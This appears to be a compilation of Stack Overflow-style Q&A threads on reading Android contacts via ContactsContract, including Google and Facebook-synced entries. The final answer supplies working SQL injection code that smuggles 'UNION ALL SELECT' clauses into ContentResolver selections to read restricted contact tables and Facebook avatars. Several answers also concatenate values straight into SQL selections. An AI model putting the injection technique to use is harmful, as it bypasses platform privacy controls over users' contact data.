I am new to Android, currently I can retrieve contact list and image from Google contact. However, the contact list from my App does not provide suggestion for email within my company like the Google Gmail app.
Is it possible that I can retrieve these extra email addresses?
Below is the code to retrieve contact
public ArrayList<String> getNameEmailDetails() {
ArrayList<String> emlRecs = new ArrayList<String>();
HashSet<String> emlRecsHS = new HashSet<String>();
ContentResolver cr = getContentResolver();
String[] PROJECTION = new String[] { ContactsContract.RawContacts._ID,
ContactsContract.Contacts.DISPLAY_NAME,
ContactsContract.Contacts.PHOTO_ID,
ContactsContract.CommonDataKinds.Email.DATA,
ContactsContract.CommonDataKinds.Photo.CONTACT_ID };
String order = "CASE WHEN "
+ ContactsContract.Contacts.DISPLAY_NAME
+ " NOT LIKE '%#%' THEN 1 ELSE 2 END, "
+ ContactsContract.Contacts.DISPLAY_NAME
+ ", "
+ ContactsContract.CommonDataKinds.Email.DATA
+ " COLLATE NOCASE";
String filter = ContactsContract.CommonDataKinds.Email.DATA + " NOT LIKE ''";
Cursor cur = cr.query(ContactsContract.CommonDataKinds.Email.CONTENT_URI, PROJECTION, filter, null, order);
if (cur.moveToFirst()) {
do {
// names comes in hand sometimes
String name = cur.getString(1);
String email = cur.getString(3);
String contact_id = cur.getString(4);
Bitmap profilePic = openPhoto(Long.parseLong(contact_id));
if (profilePic != null) {
profileList.add(new WordMatchAdapterWithIMG.profileWithIMG(email, profilePic));
}
} while (cur.moveToNext());
}
cur.close();
return emlRecs;
}
I would suggest you use the Google Contacts API.
The Google Contacts API allows client applications to view and update a user's contacts. Contacts are stored in the user's Google Account; most Google services have access to the contact list.
To retrieve a single contact, send an authorized GET request to the contact's selfLink URL:
https://www.google.com/m8/feeds/contacts/{userEmail}/full/{contactId}
Upon success, the server responds with an HTTP 200 OK status code and the requested contact entry.
public static ContactEntry retrieveContact(ContactsService myService) {
ContactEntry contact =
myService.getEntry(new URL("https://www.google.com/m8/feeds/contacts/default/full/contactId"),
ContactEntry.class);
// Do something with the contact.
return contact;
}
Useful Materials
Fetch Google/Gmail contacts using Google Contacts API and OAuth2 in Android
PHP GMAIL Contacts XML Parsing with DOMDocument and cURL
Related
I am trying to fetch contacts from the phonebook in my Android application. But it fetches the contacts that are present only in the local phone storage. I need to fetch all the contacts including the ones synced to the device using various accounts like Google. That is currently not happening. I am using a RecyclerView to display the contacts fetched.
I have tried using https://github.com/mirrajabi/rx-contacts2 library for fetching asynchronously. But that doesn't include Google contacts as well. Then I tried using Android's built-in CotentResolver
Contact contact;
ContentResolver contentResolver = getContentResolver();
Cursor cursor = contentResolver.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME + " ASC");
if (cursor != null) {
if (cursor.getCount() > 0) {
while (cursor.moveToNext()) {
int hasPhoneNumber = Integer.parseInt(cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER)));
if (hasPhoneNumber > 0) {
String id = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
String name = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
contact = new Contact(Long.parseLong(id));
contact.setDisplayName(name);
Cursor phoneCursor = contentResolver.query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
null,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?",
new String[]{id},
null);
if (phoneCursor != null) {
if (phoneCursor.moveToNext()) {
String phoneNumber = phoneCursor.getString(phoneCursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
Set<String> phoneNumbers = new HashSet<>();
phoneNumbers.add(phoneNumber);
contact.setPhoneNumbers(phoneNumbers);
}
phoneCursor.close();
}
Cursor emailCursor = contentResolver.query(
ContactsContract.CommonDataKinds.Email.CONTENT_URI,
null,
ContactsContract.CommonDataKinds.Email.CONTACT_ID + " = ?",
new String[]{id}, null);
if (emailCursor != null) {
while (emailCursor.moveToNext()) {
String emailId = emailCursor.getString(emailCursor.getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA));
}
emailCursor.close();
}
listContacts.add(contact);
}
}
}
cursor.close();
}
Currently, I am trying to fetch the contacts synchronously and it hangs up the main thread. It would be really helpful if you could suggest some ways to do that asynchronously. When doing so I also require a trigger to know when the task is completed.
Your code should work on all contacts synced to the device, including Google contacts (assuming the Google account is installed, and the contacts sync is enabled).
However, your code has some bugs, and can be greatly improved, currently for a device with 500 contacts, you are doing ~1000 queries.
All the data you need is on a single table called Data so you can get everything in a single quick query, see here:
Map<Long, Contact> contacts = new HashMap<>();
String[] projection = {Data.CONTACT_ID, Data.DISPLAY_NAME, Data.MIMETYPE, Data.DATA1};
String selection = Data.MIMETYPE + " IN ('" + Phone.CONTENT_ITEM_TYPE + "', '" + Email.CONTENT_ITEM_TYPE + "')";
Cursor cur = cr.query(Data.CONTENT_URI, projection, selection, null, null);
while (cur.moveToNext()) {
long id = cur.getLong(0);
String name = cur.getString(1);
String mime = cur.getString(2); // email / phone
String data = cur.getString(3); // the actual info, e.g. +1-212-555-1234
// get the Contact class from the HashMap, or create a new one and add it to the Hash
Contact contact;
if (contacts.containsKey(id)) {
contact = contacts.get(id);
} else {
contact = new Contact(id);
contact.setDisplayName(name);
// start with empty Sets for phones and emails
contact.setPhoneNumbers(new HashSet<>());
contact.setEmails(new HashSet<>());
contacts.put(id, contact);
}
switch (mime) {
case Phone.CONTENT_ITEM_TYPE:
contact.getPhoneNumbers().add(data);
break;
case Email.CONTENT_ITEM_TYPE:
contact.getEmails().add(data);
break;
}
}
cur.close();
Notes:
I've changed your listContacts to a HashMap called contacts so we can quickly find an existing contact
I've added setEmails, getPhoneNumbers and getEmails to your Contact class
I am very new to app development. I am trying to read contact info without having to request permission to contacts (so I am using intents).
I get a URI with the following code in my main activity:
Intent selectContactIntent = new Intent(Intent.ACTION_PICK);
selectContactIntent.setType(ContactsContract.Contacts.CONTENT_TYPE);
if (selectContactIntent.resolveActivity(getPackageManager()) != null) {
startActivityForResult(selectContactIntent, REQUEST_CODE_SELECT_CONTACT);
}
else {
showContactRequiredMessage(view);
}
In another (sub)activity, I do the following:
contactUri = intent.getParcelableExtra(MainActivity.CONTACT_URI);
String[] projection = new String[] {
ContactsContract.Contacts.Data._ID,
ContactsContract.Contacts.Data.MIMETYPE,
ContactsContract.Contacts.Data.DATA1,
ContactsContract.Contacts.Data.DATA2,
ContactsContract.Contacts.Data.DATA3,
ContactsContract.Contacts.Data.DATA4,
ContactsContract.Contacts.Data.DATA5,
ContactsContract.Contacts.Data.DATA6,
ContactsContract.Contacts.Data.DATA7,
ContactsContract.Contacts.Data.DATA8,
ContactsContract.Contacts.Data.DATA9,
ContactsContract.Contacts.Data.DATA10,
ContactsContract.Contacts.Data.DATA11,
ContactsContract.Contacts.Data.DATA12,
ContactsContract.Contacts.Data.DATA13,
ContactsContract.Contacts.Data.DATA14,
ContactsContract.Contacts.Data.DATA15
};
Cursor contactResults = getContentResolver().query(contactUri, projection, null, null, null);
The last line throws the exception java.lang.IllegalArgumentException: Invalid column <any column after _ID>
My app doesn't require all of the data in reality I just want to see what is available, I will most likely need first name, last name, phone, and email.
My issue is the MIME type that I set on the intent when I request the contact info. The documentation states ContactsContract.Contacts.CONTENT_TYPE should be used. However, if I use, something like ContactsContract.CommonDataKinds.Phone.CONTENT_TYPE, I can get display name and phone number. I am not sure if this means I will need to make multiple queries to get everything (the information shown in the contact picker changes when changing the type requested).
TL;DR: Used the "wrong" content type when creating the intent to select a contact.
As mentioned in my comment to your answer, you should be able to get the information expected without using a specific CONTENT_TYPE like CommonDataKinds.Phone.CONTENT_TYPE.
The problem I see in your code is that you're trying to access Data table info from a Contacts table uri.
The ContactsContract api stored info on 3 main tables: Contacts, RawContacts and Data.
You were given a contactUri which points to an entry in the Contacts table, use the following code to read Data entries related to that contact:
long contactId = ContentUris.parseId(contactUri);
String projection = String[] { Data.MIMETYPE, Data.DISPLAY_NAME, Data.DATA1 };
String selection = Data.CONTACT_ID + " = " + contactId;
Cursor cursor = getContentResolver().query(Data.CONTENT_URI, projection, selection, null, null);
while (cursor != null && cursor.moveToNext()) {
String mime = cursor.getString(0);
String name = cursor.getString(1);
String info = cursor.getString(2);
if (mime.equals(CommonDataKinds.Email.CONTENT_ITEM_TYPE)) {
Log.d(TAG, name + ": email = " + info;
}
if (mime.equals(CommonDataKinds.Phone.CONTENT_ITEM_TYPE)) {
Log.d(TAG, name + ": phone = " + info;
}
// Add more mimetypes here if needed...
}
if (cursor != null) {
cursor.close();
}
I faced with problem while fetching phone numbers for linked contacts on HTC phone.
The problem only with contacts that have phone numbers in invisible group.
E.g. I have contact in addressbook that linked from Google and Facebook accounts.
Contact1 - Google account (contact name, email)
Contact1 - Facebook account (contact name, phone number)
In the Contacts settings Google group is active and Facebook group is hidden.
Here what I am doing in the code.
Preparing cursor for ListView that shows only contacts with phone numbers and in visible group.
Uri uri = ContactsContract.Contacts.CONTENT_URI;
String[] projection = new String[] {
ContactsContract.Contacts._ID,
ContactsContract.Contacts.DISPLAY_NAME,
ContactsContract.Contacts.LOOKUP_KEY
};
String[] selectionArgs = null;
String sortOrder = ContactsContract.Contacts.DISPLAY_NAME + " COLLATE LOCALIZED ASC";
CursorLoader cursorLoader = new CursorLoader(AllContactsNewActivity.this,
uri, projection, ContactsContract.Contacts.HAS_PHONE_NUMBER +" = 1 " +
" AND " + ContactsContract.Contacts.IN_VISIBLE_GROUP + " = '1'",
selectionArgs, sortOrder);
The Contact1 is presented in the list.
When user click on this contact I am fetching phone numbers from selected contact, but get empty list.
CursorLoader cursorLoader = new CursorLoader(
AllContactsNewActivity.this,
ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
projection,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=?",
new String[] { String.valueOf(contactId) }, null);
I have already tried to use RAW_CONTACT_ID, _ID, LOOKUP_KEY for fetching numbers but w/o luck.
Could some one give me piece of advice how I can fetch phone numbers for these contacts or just not show such contacts in the ListView.
I had this exact same problem and searched for hours to find a solution. This is probably too late for you, but if you use the following code the facebook contacts are not included in the listing.
Please note that this uses deprecated code. I suspect, however, that we are stuck using it until facebook gets their act together and stops violating every rule Google ever made regarding contacts.
Calling code:
Intent intent = new Intent(Intent.ACTION_PICK, Contacts.Phones.CONTENT_URI);
startActivityForResult(intent, SELECT_CONTACT);
Later in onActivityResult
Uri contactData = data.getData();
Cursor c = managedQuery(contactData, null, null, null, null);
startManagingCursor(c);
if (c.moveToFirst()) {
String name = c.getString(c.getColumnIndexOrThrow(People.NAME));
String number = c.getString(c.getColumnIndexOrThrow(People.NUMBER));
Toast.makeText(this, name + " has number " + number, Toast.LENGTH_LONG).show();
}
The short version of my question is: How do I access the phone numbers of contacts that were synced from 3rd party apps?
Here is the long version:
I can access the regular Android contacts pretty easily. The issue is when the only information in the contact list is synced with a 3rd party app like Facebook or LinkedIn. If I physically went and typed someone's phone number into the Google Contacts List, everything works fine.
However, if this phone number came from syncing my facebook account to my contact list, no phone number shows up, even though if I navigated to Google's pre-made contact list I can see a phone number is actually attached to the contact. Here is the code I use for getting the phone numbers.
public void populateNumberLists(View view)
{
LinearLayout ll = (LinearLayout) view;
TextView tv = (TextView) ll.findViewById(R.id.contactEntryText);
String str = (String) tv.getText();
Cursor cursor = getNumbers(str);
String[] fields = new String[] {
cursor.getColumnName(1).toString()
};
SimpleCursorAdapter adapter = new SimpleCursorAdapter(this, R.layout.numberentry, cursor,
fields, new int[] {R.id.numberEntryText});
mNumberList.setAdapter(adapter);
}
private Cursor getNumbers(String str)
{
final Uri URIs = ContactsContract.Contacts.CONTENT_URI;
final String ID = ContactsContract.Contacts.LOOKUP_KEY;
String id = "";
ContentResolver cr = getContentResolver();
Cursor cu = cr.query(URIs, null, ContactsContract.Contacts.DISPLAY_NAME + " = '" + str + "'", null, null);
if (cu.moveToFirst()) {
id = cu.getString(cu.getColumnIndex(ID));
}
cu.close();
// Run query
Uri uri = Phone.CONTENT_URI;
String[] projection = new String[] {
Phone._ID,
Phone.NUMBER
};
String selection = Phone.LOOKUP_KEY + " = '" + id + "' and (" + Phone.TYPE + " = '" + Phone.TYPE_HOME+"' or " + Phone.TYPE + " = '" + Phone.TYPE_MOBILE+"' or " + Phone.TYPE + " = '" + Phone.TYPE_WORK+"' or " + Phone.TYPE + " = '" + Phone.TYPE_WORK_MOBILE+"')";
String[] selectionArgs = null;
String sortOrder = ContactsContract.Contacts.DISPLAY_NAME + " COLLATE LOCALIZED ASC";
return managedQuery(uri, projection, selection, selectionArgs, null);
}
Basically, the populateNumberLists function takes a clicked item from a list view, determines which contact from the list was clicked and calls the function getNumbers.
The getNumbers function takes actual name that was clicked, gets the lookup key for that name, then grabs all the phone numbers associated with that lookup key.
Oh, related to this, the only names displayed in the contact list are ones where ContactsContract.Contacts.HAS_PHONE_NUMBER equals 1. So I know that all the contacts that can be selected have a phone number attached.
Facebook is not included in the ContactPicker because Facebook forbid that.
This is a politically thing and won't be solved soon: Google wants Facebook to share data, Facebook uses Google but doesn't share..
You'll have to use the Facebook SDK for android to do this. Use an FQL query to get the phone number.
I'm trying to build a contacts-managing application. On my phone I have contacts from a couple of accounts including Facebook and HTC Facebook. For some reason I cannot retrieve these contacts from the RawContacts table of ContactsContract:
managedQuery(ContactsContract.RawContacts.CONTENT_URI, new String[] {
ContactsContract.RawContacts._ID,
ContactsContract.RawContacts.CONTACT_ID,
ContactsContract.RawContacts.ACCOUNT_NAME,
ContactsContract.RawContacts.ACCOUNT_TYPE,
}, ContactsContract.RawContacts.ACCOUNT_TYPE + " = 'com.facebook.auth.login'", null, null)
This query returns no results. If I repace the account type with com.htc.socialnetwork.facebook, I still get no results. There are many Facebook contacts on my phone; how to retrieve them?
I think I found the answer here: How to get a contact's facebook id or url from native contacts / content resolver?
Seems that access to Facebook contacts is restricted.
Yes, the Facebook contacts are secured, but can be hijacked with a little sneaky SQLite Injection. NO- I am not going to post here on this page, but is there any reason you do not just use Facebook authentication and get the contacts THAT way? The Facebook contacts don't really have anything useful in them anyway, and it is just more secure and more likely to work ALL the
There is definitely no way to do this in a standard way. So, we must use an SQLi injection (as roger commented) in order to be able to hack the contacts database and get the Facebook avatars. The following code works on most Motorolas, which use Motoblur, on Android 2.2 or higher:
public static Bitmap loadFacebookAvatar(Context context, long personId) {
String[] rawProjection = {ContactsContract.RawContacts._ID};
String contactIdAssertion = ContactsContract.RawContacts.CONTACT_ID + " = " + personId;
String rawWhere = new StringBuilder()
.append(contactIdAssertion).append(") UNION ALL SELECT ")
.append(ContactsContract.RawContacts._ID).append(" FROM view_raw_contacts WHERE (")
.append(contactIdAssertion).toString();
Cursor query = context.getContentResolver().query(ContactsContract.RawContacts.CONTENT_URI,
rawProjection,
rawWhere, null, null);
if (query != null && query.moveToFirst()) {
do {
long id = query.getLong(query.getColumnIndex(ContactsContract.RawContacts._ID));
String[] projection = {ContactsContract.CommonDataKinds.Photo.PHOTO};
Uri uri = ContactsContract.Data.CONTENT_URI;
String mimeTypeAssertion = ContactsContract.Data.MIMETYPE + "='" + ContactsContract.CommonDataKinds.Photo.CONTENT_ITEM_TYPE + "'";
String photoAssertion = ContactsContract.CommonDataKinds.Photo.PHOTO + " IS NOT NULL";
String rawContactIdAssertion = ContactsContract.CommonDataKinds.Photo.RAW_CONTACT_ID + " = " + id;
String where = new StringBuilder().append(mimeTypeAssertion).append(" AND ")
.append(photoAssertion).append(" AND ").append(rawContactIdAssertion)
.append(") UNION ALL SELECT ").append(ContactsContract.CommonDataKinds.Photo.PHOTO)
.append(" FROM view_data WHERE (").append(photoAssertion).append(" AND ")
.append(rawContactIdAssertion).toString();
Cursor photoQuery = context.getContentResolver().query(uri, projection, where, null, null);
if (photoQuery != null && photoQuery.moveToFirst()) {
do {
byte[] photoData = photoQuery.getBlob(photoQuery.getColumnIndex(ContactsContract.CommonDataKinds.Photo.PHOTO));
if (photoData != null) {
return BitmapFactory.decodeByteArray(photoData, 0, photoData.length, null);
}
} while (photoQuery.moveToNext());
}
} while (query.moveToNext());
}
return null;
}
For other handsets you must get the contacts database and analyze it in order to determine how to apply the SQL Injection, which requires a rooted phone.